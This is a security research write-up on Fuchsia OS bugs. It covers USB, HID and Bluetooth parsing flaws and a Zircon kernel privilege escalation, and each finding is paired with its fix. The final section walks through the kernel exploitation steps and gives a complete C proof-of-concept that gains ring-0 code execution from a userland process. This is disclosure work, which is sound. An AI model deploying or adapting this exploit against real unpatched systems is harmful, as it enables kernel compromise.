Playing Around With The Fuchsia Operating System

Out-of-bounds access

When attaching a USB device to the machine, Fuchsia will fetch descriptor tables from the device as part of the USB enumeration process. This is done by a component in the USB devhost. The component actually has a bug when handling configuration descriptor tables :

// read configuration descriptor header to determine size
usb_configuration_descriptor_t config_desc_header;
size_t actual;
status = GetDescriptor(USB_DT_CONFIG, config, 0, &config_desc_header,
                       sizeof(config_desc_header), &actual);
if (status == ZX_OK && actual != sizeof(config_desc_header)) {
  status = ZX_ERR_IO;
}
if (status != ZX_OK) {
  zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
  return status;
}
uint16_t config_desc_size = letoh16(config_desc_header.wTotalLength);
auto* config_desc = new (∾) uint8_t[config_desc_size];
if (!ac.check()) {
  return ZX_ERR_NO_MEMORY;
}
config_descs_[config].reset(config_desc, config_desc_size);

// read full configuration descriptor
status = GetDescriptor(USB_DT_CONFIG, config, 0, config_desc, config_desc_size, &actual);
if (status == ZX_OK && actual != config_desc_size) {
  status = ZX_ERR_IO;
}
if (status != ZX_OK) {
  zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
  return status;
}

Let's see what's going on here. First, the component fetches the config_desc_header structure, which has a fixed size; then, it reads the wTotalLength field of the structure, allocates a buffer of this size, and then re-fetches the table this time retrieving the full amount of data.

Later in the USB stack, the wTotalLength value is trusted as being the total size of the structure, which kind of makes sense here.

The problem is, between the first fetch and the second fetch the USB device could have modified the wTotalLength value. In fact, after the second fetch, wTotalLength could be bigger than the initial value; in that case the rest of the USB stack will still trust it, and will perform out-of-bounds accesses.

As a reminder, the USB stack runs in userland and not in the kernel, so it's not a kernel bug.

Fix: [usb-device] Verify wTotalLength sanity .

Stack overflow

While navigating through the USB code, we noticed a function that had an apparent stack overflow:

zx_status_t HidDevice::HidDeviceGetReport(hid_report_type_t rpt_type, uint8_t rpt_id,
                                          uint8_t* out_report_data, size_t report_count,
                                          size_t* out_report_actual) {
  input_report_size_t needed = GetReportSizeById(rpt_id, static_cast<ReportType>(rpt_type));
  if (needed == 0) {
    return ZX_ERR_NOT_FOUND;
  }
  if (needed > report_count) {
    return ZX_ERR_BUFFER_TOO_SMALL;
  }

  uint8_t report[HID_MAX_REPORT_LEN];
  size_t actual = 0;
  zx_status_t status = hidbus_.GetReport(rpt_type, rpt_id, report, needed, &actual);
  /* ... */
}

In short, the GetReportSizeById() function returns a 16-bit value previously obtained from the USB device. HID_MAX_REPORT_LEN has the value 8192 . Here, the call to GetReport() can overflow the report array with USB-controllable data.

It appears that there is no relevant user of this function that could make it USB-triggerable, so it's a bit of an uninteresting bug. Note also that with the SafeStack mitigation, the report array is actually in the unsafe stack , which means that overflowing it will not allow the attacker to overwrite the return instruction pointer.

Fix: [hid] Fix GetReport buffer overrun .

L2CAP: reject packets

To handle reject packets, the L2CAP protocol uses this piece of code:

ResponseT rsp(status);
if (status == Status::kReject) {
  if (!rsp.ParseReject(rsp_payload)) {
    bt_log(TRACE, "l2cap", "cmd: ignoring malformed Command Reject, size %zu",
           rsp_payload.size());
    return ResponseHandlerAction::kCompleteOutboundTransaction;
  }
  return InvokeResponseCallback(&rsp_cb, std::move(rsp));
}

The ParseReject() method gets called with rsp_payload , which contains the received packet, of an arbitrary size. The method is implemented as follows:

bool CommandHandler::Response::ParseReject(const ByteBuffer& rej_payload_buf) {
  auto& rej_payload = rej_payload_buf.As<CommandRejectPayload>();
  reject_reason_ = static_cast<RejectReason>(letoh16(rej_payload.reason));
  /* ... */
}

Here the payload is suddenly treated as a CommandRejectPayload structure, with no apparent length check. This could be an out-of-bounds access, but in fact the .As<> directive automatically performs the length check:

// Converts the underlying buffer to the given type with bounds checking. The buffer is allowed
// to be larger than T. The user is responsible for checking that the first sizeof(T) bytes
// represents a valid instance of T.
template <typename T>
const T& As() const {
  // std::is_trivial_v would be a stronger guarantee that the buffer contains a valid T object,
  // but would disallow casting to types that have useful constructors, which might instead cause
  // uninitialized field(s) bugs for data encoding/decoding structs.
  static_assert(std::is_trivially_copyable_v<T>, "Can not reinterpret bytes");
  ZX_ASSERT(size() >= sizeof(T));
  return *reinterpret_cast<const T*>(data());
}

The out-of-bounds access will cause the assert to fire, which will kill the Bluetooth component.

Therefore, this is only a DoS ( Denial Of Service ) of the Bluetooth component and not an interesting bug from an exploitation point of view, (un)fortunately.

Fix: [bt][l2cap] Check size of command reject payload .

SDP: ServiceSearchResponse

When parsing ServiceSearchResponse packets, the SDP protocol invokes the ServiceSearchResponse::Parse() function which has the following code:

Status ServiceSearchResponse::Parse(const ByteBuffer& buf) {
  /* ... */
  if (buf.size() < (2 * sizeof(uint16_t))) {
    bt_log(SPEW, "sdp", "Packet too small to parse");
    return Status(HostError::kPacketMalformed);
  }
  /* ... */
  size_t read_size = sizeof(uint16_t);
  /* ... */
  uint16_t record_count = betoh16(buf.view(read_size).As<uint16_t>());
  read_size += sizeof(uint16_t);
  if ((buf.size() - read_size - sizeof(uint8_t)) < (sizeof(ServiceHandle) * record_count)) {
    bt_log(SPEW, "sdp", "Packet too small for %d records", record_count);
    return Status(HostError::kPacketMalformed);
  }
  for (uint16_t i = 0; i < record_count; i++) {
    auto view = buf.view(read_size + i * sizeof(ServiceHandle));
    service_record_handle_list_.emplace_back(betoh32(view.As<uint32_t>()));
  }
  /* ... */
}

The bug is rather clear here: buf.size() - read_size can be equal to zero, and in that case, the whole unsigned expression (buf.size() - read_size - sizeof(uint8_t)) wraps and becomes positive, meaning that the length check succeeds.

The code then iterates and performs out-of-bounds accesses... Except that once again, some constructions are used:

const BufferView ByteBuffer::view(size_t pos, size_t size) const {
  ZX_ASSERT_MSG(pos <= this->size(), "invalid offset (pos = %zu)", pos);
  return BufferView(data() + pos, std::min(size, this->size() - pos));
}

The view() method catches out-of-bounds accesses. So again, this is only a DoS of the Bluetooth component, not interesting! :'(

Fix: [bt][sdp] Fix buffer size check, max response size .

The TLS on Zircon

The kernel TLS on Zircon is a x86_percpu structure, which contains useful fields for code execution, such as gpf_return_target (as we will see below).

Exploitation

The steps of the exploitation are the following:

1. Create a thread. The thread must not do anything (infinite loop for example).
2. Suspend this thread with the zx_task_suspend() syscall.
3. Use zx_thread_write_state() to change the %rip register of the suspended thread, and put a non-canonical value in it, such as 0x00FFFFFFFFFFFFFF . Also change the value of gs.base to a specific value that we will call FakeTlsAddr .
4. Use the zx_handle_close() syscall to resume the suspended thread.
5. When the thread resumes, the kernel will return to it; it will execute swapgs (to install the userland gs.base value), and then iretq , which will fault because the %rip value we set is non-canonical. The kernel ends up in the #GP fault handler.
6. The #GP handler sees that the fault was received in the kernel, and does not execute swapgs because it thinks that since we came from the kernel then we must have the kernel TLS loaded. The handler therefore wrongfully stays with the userland gs.base value. It then calls the x86_exception_handler() function.
7. x86_exception_handler() uses this TLS. In particular, it will quickly exit if the gpf_return_target field of the TLS is non-zero, and it will actually jump into this address!
8. The CPU jumps into gpf_return_target with kernel privileges.

In the end, the kernel uses the structure located at FakeTlsAddr thinking it is a trusted x86_percpu structure from the kernel whereas it is actually a structure possibly controlled by userland. By placing a specific value in the gpf_return_target field of this fake structure, userland can begin to gain code execution in kernel mode.

Userland must choose the FakeTlsAddr address so that it points to a kernel buffer where userland data got copied, or to a buffer in userland directly (if there is no SMEP / SMAP ).

As a toy example, we developed a simple exploit that relies on SMEP / SMAP not being present:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#include <zircon/syscalls.h>
#include <zircon/threads.h>
#include <zircon/process.h>
#include <zircon/syscalls/debug.h>

#define __aligned(x)    __attribute__((__aligned__(x)))
#define __barrier()     __asm __volatile("":::"memory")
#define PAGE_SIZE       4096

volatile zx_handle_t MyThreadHandle;
volatile int Ready;
volatile int Resume;

uint8_t FakeThread[PAGE_SIZE] __aligned(PAGE_SIZE);
uint8_t FakeUStack[PAGE_SIZE] __aligned(PAGE_SIZE);

/*
 * Short, simplified version of "struct x86_percpu". We are mainly interested
 * in "gpf_return_target" here, because it dictates where the #GP handler
 * returns. We make it point to a userland address.
 */
union {
        struct FakeCpu {
                void *direct;
                void *current_thread;
                uintptr_t stack_guard;
                uintptr_t kernel_unsafe_sp;
                uintptr_t saved_user_sp;
                uint32_t blocking_disallowed;
                volatile uint8_t *monitor;
                void *idle_states;
                uint32_t apic_id;
                uintptr_t gpf_return_target;
        } FakeCpu;
        uint8_t raw[2*PAGE_SIZE];
} FakeTls __aligned(PAGE_SIZE);

/* -------------------------------------------------------------------------- */

/*
 * This function runs as ring0, with the context of MyThread(). Put whatever
 * you want in it, this basically executes as kernel code.
 */
static void RunAsRing0(void)
{
        __asm volatile (
                /* ... */
                "1: jmp 1b\n"
        );
}

/*
 * Expose the handle of the thread. Kinda annoying to do, I didn't find a way
 * to retrieve that handle from the parent thread directly (the thing is hidden
 * inside pthread etc).
 */
static void *MyThread(void *arg)
{
        printf("[Thread] Started\n");
        MyThreadHandle = zx_thread_self();
        __barrier();
        Ready = 1;
        __barrier();
        while (!Resume);
        printf("[Thread] Resumed\n");
        return NULL;
}

int main(int argc, char** argv)
{
        zx_thread_state_general_regs_t regs;
        zx_handle_t token;
        zx_status_t res;
        pthread_t thid;

        pthread_create(&thid, NULL, MyThread, NULL);

        /*
         * Wait for the handle to be exposed...
         */
        while (!Ready);

        printf("[Main] Ready\n");

        res = zx_task_suspend(MyThreadHandle, &token);
        if (res != ZX_OK) {
                printf("[Main] zx_task_suspend failed: %d\n", res);
                return 0;
        }
        printf("[Main] Suspended\n");

        FakeTls.FakeCpu.direct = &FakeTls;
        FakeTls.FakeCpu.current_thread = FakeThread;
        FakeTls.FakeCpu.gpf_return_target = (uintptr_t)&RunAsRing0;
        FakeTls.FakeCpu.kernel_unsafe_sp = (uintptr_t)&FakeUStack[PAGE_SIZE];

        res = zx_thread_read_state(MyThreadHandle,
            ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
        if (res != ZX_OK) {
                printf("[Main] zx_thread_read_state failed: %d\n", res);
                return 0;
        }

        regs.gs_base = (uintptr_t)&FakeTls; /* Our fake TLS */
        regs.rip = 0x00FFFFFFFFFFFFFF; /* A non-canonical address */

        res = zx_thread_write_state(MyThreadHandle,
            ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
        if (res != ZX_OK) {
                printf("[Main] zx_thread_write_state failed: %d\n", res);
                return 0;
        }

        Resume = 1;
        zx_handle_close(token); /* The thread resumes */

        pthread_join(thid, NULL);
        printf("[Main] Survived! Exploit failed?!\n");
        return 0;
}

With it, we are able to gain kernel code execution from a regular userland process.

Fix: [zircon][debugger] Disallow setting non-canonical rip addresses .